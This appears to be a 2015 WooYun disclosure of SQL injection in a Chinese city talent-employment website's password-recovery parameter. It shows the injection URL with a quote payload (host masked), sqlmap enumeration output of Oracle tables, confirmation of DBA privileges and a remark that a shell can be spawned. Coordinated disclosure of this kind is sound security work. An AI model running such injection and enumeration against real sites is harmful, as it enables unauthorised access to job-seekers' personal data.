当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157828

漏洞标题:某人才就业网SQL注入(DBA权限)

相关厂商:cncert国家互联网应急中心

漏洞作者: P0ker_L

提交时间:2015-12-04 00:04

修复时间:2016-01-21 15:21

公开时间:2016-01-21 15:21

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-04: 细节已通知厂商并且等待厂商处理中
2015-12-08: 厂商已经确认,细节仅向厂商公开
2015-12-18: 细节向核心白帽子及相关领域专家公开
2015-12-28: 细节向普通白帽子公开
2016-01-07: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

某市人才就业网可进行sql注入,可导致大量信息泄露。DBA权限可直接反弹shell。

详细说明:

http://**.**.**.**/getpass.jsp?account=user%27&memtype=person
这是该网站的账号忘记密码链接,account参数存在sql注入

01.png

漏洞证明:

01.png


上sqlmap跑数据库

1.png


各种表,第一个库360个。
web application technology: JSP
back-end DBMS: Oracle
Database: APEX_030200
[360 tables]
+--------------------------------+
| SYS_IOT_OVER_70794 |
| WWV_COLUMN_EXCEPTIONS |
| WWV_FLOWS |
| WWV_FLOWS_RESERVED |
| WWV_FLOW_ACTIVITY_LOG1$ |
| WWV_FLOW_ACTIVITY_LOG2$ |
| WWV_FLOW_ACTIVITY_LOG_NUMBER$ |
| WWV_FLOW_ALTERNATE_CONFIG |
| WWV_FLOW_ALT_CONFIG_DETAIL |
| WWV_FLOW_ALT_CONFIG_PICK |
| WWV_FLOW_APPLICATION_GROUPS |
| WWV_FLOW_APP_BUILD_PREF |
| WWV_FLOW_APP_COMMENTS |
| WWV_FLOW_BANNER |
| WWV_FLOW_BUILDER_AUDIT_TRAIL |
| WWV_FLOW_BUTTON_TEMPLATES |
| WWV_FLOW_CALS |
| WWV_FLOW_CAL_TEMPLATES |
| WWV_FLOW_CHARSETS |
| WWV_FLOW_CLICKTHRU_LOG$ |
| WWV_FLOW_CLICKTHRU_LOG2$ |
| WWV_FLOW_CLICKTHRU_LOG_NUMBER$ |
| WWV_FLOW_COLLECTIONS$ |
| WWV_FLOW_COLLECTION_MEMBERS$ |
| WWV_FLOW_COMPANIES |
| WWV_FLOW_COMPANY_SCHEMAS |
| WWV_FLOW_COMPANY_TYPES |
| WWV_FLOW_COMPOUND_CONDITIONS |
| WWV_FLOW_COMPUTATIONS |
| WWV_FLOW_COUNTRIES |
| WWV_FLOW_CSS_REPOSITORY |
| WWV_FLOW_CUSTOMIZED_TASKS |
| WWV_FLOW_CUSTOM_AUTH_SETUPS |
| WWV_FLOW_DATA |
| WWV_FLOW_DATA_LOAD_BAD_LOG |
| WWV_FLOW_DATA_LOAD_UNLOAD |
| WWV_FLOW_DB_AUTH |
| WWV_FLOW_DEBUG |
| WWV_FLOW_DEVELOPERS |
| WWV_FLOW_DEVELOPER_ROLES |
| WWV_FLOW_DICTIONARY$ |
| WWV_FLOW_DUAL100 |
| WWV_FLOW_DYNAMIC_TRANSLATIONS$ |
| WWV_FLOW_EFFECTIVE_USERID_MAP |
| WWV_FLOW_ENTRY_POINTS |
| WWV_FLOW_ENTRY_POINT_ARGS |
| WWV_FLOW_FIELD_TEMPLATES |
| WWV_FLOW_FILE_OBJECTS$PART |
| WWV_FLOW_FLASH_CHARTS |
| WWV_FLOW_FLASH_CHART_SERIES |
| WWV_FLOW_FND_GROUP_USERS |
| WWV_FLOW_FND_USER |
| WWV_FLOW_FND_USER_GROUPS |
| WWV_FLOW_FOLDERS |
| WWV_FLOW_HNT_ARGUMENT_INFO |
| WWV_FLOW_HNT_COLUMN_INFO |
| WWV_FLOW_HNT_LOV_DATA |
| WWV_FLOW_HNT_PROCEDURE_INFO |
| WWV_FLOW_HNT_TABLE_INFO |
| WWV_FLOW_HTML_REPOSITORY |
| WWV_FLOW_ICON_BAR |
| WWV_FLOW_ICON_BAR_ATTRIBUTES |
| WWV_FLOW_IMAGE_REPOSITORY |
| WWV_FLOW_IMPORT_EXPORT |
| WWV_FLOW_INSTALL |
| WWV_FLOW_INSTALL_BUILD_OPT |
| WWV_FLOW_INSTALL_CHECKS |
| WWV_FLOW_INSTALL_SCRIPTS |
| WWV_FLOW_ITEMS |
| WWV_FLOW_JOBS |
| WWV_FLOW_JOB_BIND_VALUES |
| WWV_FLOW_LANGUAGES |
| WWV_FLOW_LANGUAGE_MAP |
| WWV_FLOW_LISTS |
| WWV_FLOW_LISTS_OF_VALUES$ |
| WWV_FLOW_LIST_ITEMS |
| WWV_FLOW_LIST_OF_VALUES_DATA |
| WWV_FLOW_LIST_TEMPLATES |
| WWV_FLOW_LOCK_PAGE |
| WWV_FLOW_LOCK_PAGE_LOG |
| WWV_FLOW_LOV_TEMP |
| WWV_FLOW_LOV_VALUES |
| WWV_FLOW_MAIL_ATTACHMENTS |
| WWV_FLOW_MAIL_LOG |
| WWV_FLOW_MAIL_QUEUE |
| WWV_FLOW_MENUS |
| WWV_FLOW_MENU_OPTIONS |
| WWV_FLOW_MENU_TEMPLATES |
| WWV_FLOW_MESSAGES$ |
| WWV_FLOW_MODELS |
| WWV_FLOW_MODEL_PAGES |
| WWV_FLOW_MODEL_PAGE_COLS |
| WWV_FLOW_MODEL_PAGE_REGIONS |
| WWV_FLOW_ONLINE_HELP |
| WWV_FLOW_ONLINE_HELP_JA |
| WWV_FLOW_PAGES_RESERVED |
| WWV_FLOW_PAGE_CACHE |
| WWV_FLOW_PAGE_GENERIC_ATTR |
| WWV_FLOW_PAGE_GROUPS |
| WWV_FLOW_PAGE_PLUGS |
| WWV_FLOW_PAGE_PLUG_TEMPLATES |
| WWV_FLOW_PAGE_SUBMISSIONS |
| WWV_FLOW_PASSWORD_HISTORY |
| WWV_FLOW_PATCHES |
| WWV_FLOW_PICK_DATABASE_SIZE |
| WWV_FLOW_PICK_END_USERS |
| WWV_FLOW_PICK_PAGE_VIEWS |
| WWV_FLOW_PLATFORM_PREF |
| WWV_FLOW_PLATFORM_PREFS |
| WWV_FLOW_POPUP_LOV_TEMPLATE |
| WWV_FLOW_PREFERENCES$ |
| WWV_FLOW_PROCESSING |
| WWV_FLOW_PROVISION_COMPANY |
| WWV_FLOW_PROVISION_SERICE_MOD |
| WWV_FLOW_PURGED_SESSIONS$ |
| WWV_FLOW_QB_SAVED_COND |
| WWV_FLOW_QB_SAVED_JOIN |
| WWV_FLOW_QB_SAVED_QUERY |
| WWV_FLOW_QB_SAVED_TABS |
| WWV_FLOW_QUERY_COLUMN |
| WWV_FLOW_QUERY_CONDITION |
| WWV_FLOW_QUERY_DEFINITION |
| WWV_FLOW_QUERY_OBJECT |
| WWV_FLOW_RANDOM_IMAGES |
| WWV_FLOW_REGION_CHART_SER_ATTR |
| WWV_FLOW_REGION_REPORT_COLUMN |
| WWV_FLOW_REGION_REPORT_FILTER |
| WWV_FLOW_REGION_UPD_RPT_COLS |
| WWV_FLOW_REPORT_LAYOUTS |
| WWV_FLOW_REQUEST_VERIFICATIONS |
| WWV_FLOW_REQUIRED_ROLES |
| WWV_FLOW_RESTRICTED_SCHEMAS |
| WWV_FLOW_ROW_TEMPLATES |
| WWV_FLOW_RSCHEMA_EXCEPTIONS |
| WWV_FLOW_SC_TRANS |
| WWV_FLOW_SECURITY_SCHEMES |
| WWV_FLOW_SESSIONS$ |
| WWV_FLOW_SHARED_QRY_SQL_STMTS |
| WWV_FLOW_SHARED_QUERIES |
| WWV_FLOW_SHARED_WEB_SERVICES |
| WWV_FLOW_SHORTCUTS |
| WWV_FLOW_SHORTCUT_USAGE_MAP |
| WWV_FLOW_STANDARD_CSS |
| WWV_FLOW_STANDARD_ICONS |
| WWV_FLOW_STANDARD_JS |
| WWV_FLOW_STEPS |
| WWV_FLOW_STEP_BRANCHES |
| WWV_FLOW_STEP_BRANCH_ARGS |
| WWV_FLOW_STEP_BUTTONS |
| WWV_FLOW_STEP_COMPUTATIONS |
| WWV_FLOW_STEP_ITEMS |
| WWV_FLOW_STEP_ITEM_HELP |
| WWV_FLOW_STEP_PROCESSING |
| WWV_FLOW_STEP_VALIDATIONS |
| WWV_FLOW_SW_BINDS |
| WWV_FLOW_SW_CREATE_KEYWORDS |
| WWV_FLOW_SW_DETAIL_RESULTS |
| WWV_FLOW_SW_MAIN_KEYWORDS |
| WWV_FLOW_SW_RESULTS |
| WWV_FLOW_SW_SET_KEYWORDS |
| WWV_FLOW_SW_SQLPLUS_CMD |
| WWV_FLOW_SW_SQL_CMDS |
| WWV_FLOW_SW_STMTS |
| WWV_FLOW_TABS |
| WWV_FLOW_TEMPLATES |
| WWV_FLOW_TEMPLATES$ |
| WWV_FLOW_TEMPLATE_PREFERENCES |
| WWV_FLOW_TEMPLATE_THEMES$ |
| WWV_FLOW_TEMP_TABLE |
| WWV_FLOW_TEMP_TREES |
| WWV_FLOW_THEMES |
| WWV_FLOW_TOPLEVEL_TABS |
| WWV_FLOW_TRANSLATABLE_COLS$ |
| WWV_FLOW_TRANSLATABLE_TEXT$ |
| WWV_FLOW_TREES |
| WWV_FLOW_TREE_STATE |
| WWV_FLOW_UPGRADE_PROGRESS |
| WWV_FLOW_UPG_COL_NAME_CHANGES |
| WWV_FLOW_UPG_TAB_NAME_CHANGES |
| WWV_FLOW_UPG_TAB_OBSOLETE |
| WWV_FLOW_USER_ACCESS_LOG1$ |
| WWV_FLOW_USER_ACCESS_LOG2$ |
| WWV_FLOW_USER_ACCESS_LOG_NUM$ |
| WWV_FLOW_VERSION$ |
| WWV_FLOW_WEB_PAGES |
| WWV_FLOW_WEB_PG_LIST_ENTRIES |
| WWV_FLOW_WEB_PG_REGIONS |
| WWV_FLOW_WORKSHEETS |
| WWV_FLOW_WORKSHEET_CATEGORIES |
| WWV_FLOW_WORKSHEET_COLUMNS |
| WWV_FLOW_WORKSHEET_COL_GROUPS |
| WWV_FLOW_WORKSHEET_COMPUTATION |
| WWV_FLOW_WORKSHEET_CONDITIONS |
| WWV_FLOW_WORKSHEET_DOCS |
| WWV_FLOW_WORKSHEET_GEOCACHE |
| WWV_FLOW_WORKSHEET_HISTORY |
| WWV_FLOW_WORKSHEET_LINKS |
| WWV_FLOW_WORKSHEET_LOVS |
| WWV_FLOW_WORKSHEET_LOV_ENTRIES |
| WWV_FLOW_WORKSHEET_PRIVS |
| WWV_FLOW_WORKSHEET_ROWS |
| WWV_FLOW_WORKSHEET_RPTS |
| WWV_FLOW_WORKSHEET_STICK |
| WWV_FLOW_WORKSPACE_REQ_SIZE |
| WWV_FLOW_WS_OPERATIONS |
| WWV_FLOW_WS_PARAMETERS |
| WWV_FLOW_WS_PROCESS_PARMS_MAP |
| WWV_MIG_ACCESS |
| WWV_MIG_ACC_COLUMNS |
| WWV_MIG_ACC_FORMS |
| WWV_MIG_ACC_FORMS_CONTROLS |
| WWV_MIG_ACC_FORMS_MODULES |
| WWV_MIG_ACC_FORMS_PERM |
| WWV_MIG_ACC_GROUPS |
| WWV_MIG_ACC_GRPSMEMBERS |
| WWV_MIG_ACC_INDEXES |
| WWV_MIG_ACC_INDEXES_COLS |
| WWV_MIG_ACC_MODULES |
| WWV_MIG_ACC_MODULES_PERM |
| WWV_MIG_ACC_PAGES |
| WWV_MIG_ACC_QUERIES |
| WWV_MIG_ACC_RELATIONS |
| WWV_MIG_ACC_RELATION_COLS |
| WWV_MIG_ACC_REPORTS |
| WWV_MIG_ACC_RPTS_CONTROLS |
| WWV_MIG_ACC_RPTS_MODULES |
| WWV_MIG_ACC_RPT_PERMS |
| WWV_MIG_ACC_TABLES |
| WWV_MIG_ACC_TAB_PERM |
| WWV_MIG_ACC_USERS |
| WWV_MIG_EXPORTER |
| WWV_MIG_FORMS |
| WWV_MIG_FRM_ALERTS |
| WWV_MIG_FRM_ATTACHEDLIBRARY |
| WWV_MIG_FRM_BLK_DSA |
| WWV_MIG_FRM_BLK_DSC |
| WWV_MIG_FRM_BLK_ITEMS |
| WWV_MIG_FRM_BLK_ITEM_LIE |
| WWV_MIG_FRM_BLK_ITEM_RADIO |
| WWV_MIG_FRM_BLK_ITEM_TRIGGERS |
| WWV_MIG_FRM_BLK_RELATIONS |
| WWV_MIG_FRM_BLK_TRIGGERS |
| WWV_MIG_FRM_BLOCKS |
| WWV_MIG_FRM_CANVAS |
| WWV_MIG_FRM_CNVG_COMPOUNDTEXT |
| WWV_MIG_FRM_CNVS_GRAPHICS |
| WWV_MIG_FRM_CNVS_TABPAGE |
| WWV_MIG_FRM_COORDINATES |
| WWV_MIG_FRM_CPDTXT_TEXTSEGMENT |
| WWV_MIG_FRM_EDITOR |
| WWV_MIG_FRM_FMB_MENU |
| WWV_MIG_FRM_FMB_MENUITEM_ROLE |
| WWV_MIG_FRM_FMB_MENU_MENUITEM |
| WWV_MIG_FRM_FORMMODULES |
| WWV_MIG_FRM_LOV |
| WWV_MIG_FRM_LOVCOLUMNMAPPING |
| WWV_MIG_FRM_MENU |
| WWV_MIG_FRM_MENUITEM_ROLE |
| WWV_MIG_FRM_MENUS |
| WWV_MIG_FRM_MENUSMODULEROLES |
| WWV_MIG_FRM_MENUS_MENUMODULES |
| WWV_MIG_FRM_MENUS_MODULES |
| WWV_MIG_FRM_MENUS_PROGRAMUNIT |
| WWV_MIG_FRM_MENU_MENUITEM |
| WWV_MIG_FRM_MODULEPARAMETER |
| WWV_MIG_FRM_MODULES |
| WWV_MIG_FRM_OBJECTGROUP |
| WWV_MIG_FRM_OBJECTGROUPCHILD |
| WWV_MIG_FRM_OLB_XMLTAGTABLEMAP |
| WWV_MIG_FRM_PROGRAMUNIT |
| WWV_MIG_FRM_PROPERTYCLASS |
| WWV_MIG_FRM_RECORDGROUPCOLUMN |
| WWV_MIG_FRM_RECORDGROUPS |
| WWV_MIG_FRM_REPORT |
| WWV_MIG_FRM_REV_APEX_APP |
| WWV_MIG_FRM_REV_BLK_ITEMS |
| WWV_MIG_FRM_REV_BLOCKS |
| WWV_MIG_FRM_REV_FORMMODULES |
| WWV_MIG_FRM_REV_LOV |
| WWV_MIG_FRM_REV_LOVCOLMAPS |
| WWV_MIG_FRM_TRIGGERS |
| WWV_MIG_FRM_VISUALATTRIBUTES |
| WWV_MIG_FRM_WINDOWS |
| WWV_MIG_FRM_XMLTAGTABLEMAP |
| WWV_MIG_GENERATED_APPLICATIONS |
| WWV_MIG_MENU_XMLTAGTABLEMAP |
| WWV_MIG_OLB |
| WWV_MIG_OLB_BLK_DATASOURCECOL |
| WWV_MIG_OLB_BLK_ITEM |
| WWV_MIG_OLB_BLK_ITEM_LIE |
| WWV_MIG_OLB_BLK_ITEM_TRIGGER |
| WWV_MIG_OLB_BLK_TRIGGER |
| WWV_MIG_OLB_BLOCK |
| WWV_MIG_OLB_CANVAS |
| WWV_MIG_OLB_CG_COMPOUNDTEXT |
| WWV_MIG_OLB_CG_CT_TEXTSEGMENT |
| WWV_MIG_OLB_CNVS_GRAPHICS |
| WWV_MIG_OLB_MODULES |
| WWV_MIG_OLB_OBJECTLIBRARY |
| WWV_MIG_OLB_OBJECTLIBRARYTAB |
| WWV_MIG_OLB_OLT_ALERT |
| WWV_MIG_OLB_OLT_BLK_ITEM |
| WWV_MIG_OLB_OLT_BLK_ITEM_TRIGR |
| WWV_MIG_OLB_OLT_BLOCK |
| WWV_MIG_OLB_OLT_CANVAS |
| WWV_MIG_OLB_OLT_CNVS_GRAPHICS |
| WWV_MIG_OLB_OLT_GRAPHICS |
| WWV_MIG_OLB_OLT_ITEM |
| WWV_MIG_OLB_OLT_MENU |
| WWV_MIG_OLB_OLT_MENU_MENUITEM |
| WWV_MIG_OLB_OLT_OBJECTGROUP |
| WWV_MIG_OLB_OLT_OB_OBJGRPCHILD |
| WWV_MIG_OLB_OLT_REPORT |
| WWV_MIG_OLB_OLT_TABPAGE |
| WWV_MIG_OLB_OLT_TABPG_GRAPHICS |
| WWV_MIG_OLB_OLT_VISUALATTRBUTE |
| WWV_MIG_OLB_OLT_WINDOW |
| WWV_MIG_OLB_PROGRAMUNIT |
| WWV_MIG_OLB_PROPERTYCLASS |
| WWV_MIG_OLB_T_TP_GGGGG_CPDTXT |
| WWV_MIG_OLB_T_TP_GGGGG_CT_TXST |
| WWV_MIG_OLB_T_TP_GGGG_CPDTXT |
| WWV_MIG_OLB_T_TP_GGGG_CT_TXSGT |
| WWV_MIG_OLB_T_TP_GGGG_GRAPHICS |
| WWV_MIG_OLB_T_TP_GGG_CPDTXT |
| WWV_MIG_OLB_T_TP_GGG_CT_TXTSGT |
| WWV_MIG_OLB_T_TP_GGG_GRAPHICS |
| WWV_MIG_OLB_T_TP_GG_CPDTXT |
| WWV_MIG_OLB_T_TP_GG_CT_TXTSGT |
| WWV_MIG_OLB_T_TP_GG_GRAPHICS |
| WWV_MIG_OLB_T_TP_G_GRAPHICS |
| WWV_MIG_OLB_VISUALATTRIBUTE |
| WWV_MIG_OLB_WINDOW |
| WWV_MIG_PLSQL_LIBS |
| WWV_MIG_PROJECTS |
| WWV_MIG_PROJECT_COMPONENTS |
| WWV_MIG_PROJECT_TRIGGERS |
| WWV_MIG_REPORT |
| WWV_MIG_RESERVED_WORDS |
| WWV_MIG_REV_APEXAPP |
| WWV_MIG_REV_FORMS |
| WWV_MIG_REV_QUERIES |
| WWV_MIG_REV_REPORTS |
| WWV_MIG_REV_TABLES |
| WWV_MIG_RPTS |
| WWV_MIG_RPT_DATA |
| WWV_MIG_RPT_DATASRC |
| WWV_MIG_RPT_DATASRC_GRP |
| WWV_MIG_RPT_DATASRC_SELECT |
| WWV_MIG_RPT_DATA_SUMMARY |
| WWV_MIG_RPT_GRP_DATAITEM |
| WWV_MIG_RPT_GRP_DATAITEM_DESC |
| WWV_MIG_RPT_GRP_DATAITEM_PRIV |
| WWV_MIG_RPT_GRP_FIELD |
| WWV_MIG_RPT_GRP_FILTER |
| WWV_MIG_RPT_GRP_FORMULA |
| WWV_MIG_RPT_GRP_ROWDELIM |
| WWV_MIG_RPT_GRP_SUMMARY |
| WWV_MIG_RPT_REPORTPRIVATE |
| WWV_MIG_RPT_XMLTAGTABLEMAP |
+--------------------------------+
表中工作职位等信息
web application technology: JSP
back-end DBMS: Oracle
Database: APEX_030200
Table: WWV_FLOW_JOBS
[13 columns]
+-------------------+----------+
| Column | Type |
+-------------------+----------+
| COMPLETED | DATE |
| CREATED | DATE |
| ENDUSER | VARCHAR2 |
| FLOW_ID | NUMBER |
| ID | NUMBER |
| JOB | NUMBER |
| MODIFIED | DATE |
| OWNER | VARCHAR2 |
| SECURITY_GROUP_ID | NUMBER |
| STATUS | VARCHAR2 |
| SYSTEM_MODIFIED | DATE |
| SYSTEM_STATUS | VARCHAR2 |
| WHAT | CLOB |
+-------------------+----------+
数据库用户是DBA
web application technology: JSP
back-end DBMS: Oracle
current user is DBA: True
可反弹数据库shell进行操作:

5.png


修复方案:

过滤

版权声明:转载请注明来源 P0ker_L@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-08 10:39

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置.

最新状态:

暂无